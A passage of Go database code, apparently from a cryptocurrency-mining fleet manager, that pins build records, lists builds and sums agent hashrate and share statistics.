|
|
|
|
if _, err := tx.Exec(`UPDATE builds SET pinned = 0`); err != nil {
|
|
return err
|
|
}
|
|
if id != "" {
|
|
res, err := tx.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
n, err := res.RowsAffected()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if n == 0 {
|
|
return fmt.Errorf("build not found: %s", id)
|
|
}
|
|
}
|
|
return tx.Commit()
|
|
}
|
|
|
|
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
|
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer rows.Close()
|
|
|
|
var builds []*models.BuildRecord
|
|
for rows.Next() {
|
|
b, err := scanBuild(rows)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
builds = append(builds, b)
|
|
}
|
|
if err := rows.Err(); err != nil {
|
|
return nil, err
|
|
}
|
|
return builds, nil
|
|
}
|
|
|
|
// Stats
|
|
|
|
type FleetStats struct {
|
|
TotalAgents int `json:"total_agents"`
|
|
OnlineAgents int `json:"online_agents"`
|
|
TotalHashrate float64 `json:"total_hashrate"`
|
|
TotalGPUHashrate float64 `json:"total_gpu_hashrate"`
|
|
TotalShares int `json:"total_shares"`
|
|
AcceptedShares int `json:"accepted_shares"`
|
|
RejectedShares int `json:"rejected_shares"`
|
|
AcceptRate float64 `json:"accept_rate"`
|
|
}
|
|
|
|
func (d *Database) GetFleetStats() (*FleetStats, error) {
|
|
stats := &FleetStats{}
|
|
|
|
err := d.QueryRow("SELECT COUNT(*) FROM agents").Scan(&stats.TotalAgents)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
err = d.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&stats.OnlineAgents)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
err = d.QueryRow("SELECT COALESCE(SUM(hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalHashrate)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
err = d.QueryRow("SELECT COALESCE(SUM(gpu_hashrate_15m), 0) FROM agents WHERE status = 'online'").Scan(&stats.TotalGPUHashrate)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
err = d.QueryRow("SELECT COALESCE(SUM(shares_total), 0) FROM agents").Scan(&stats.TotalShares)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
err = d.QueryRow("SELECT COALESCE(SUM(shares_good), 0) FROM agents").Scan(&stats.AcceptedShares)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
err = d.QueryRow("SELECT COALESCE(SUM(shares_bad), 0) FROM agents").Scan(&stats.RejectedShares)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
if stats.TotalShares > 0 {
|
|
stats.AcceptRate = float64(stats.AcceptedShares) / float64(stats.TotalShares) * 100
|
|
}
|
|
|
|
return stats, nil
|
|
}
|
|
|
|
func boolToInt(b bool) int {
|
|
if b {
|
|
return 1
|
|
}
|
|
return 0
|
|
}
|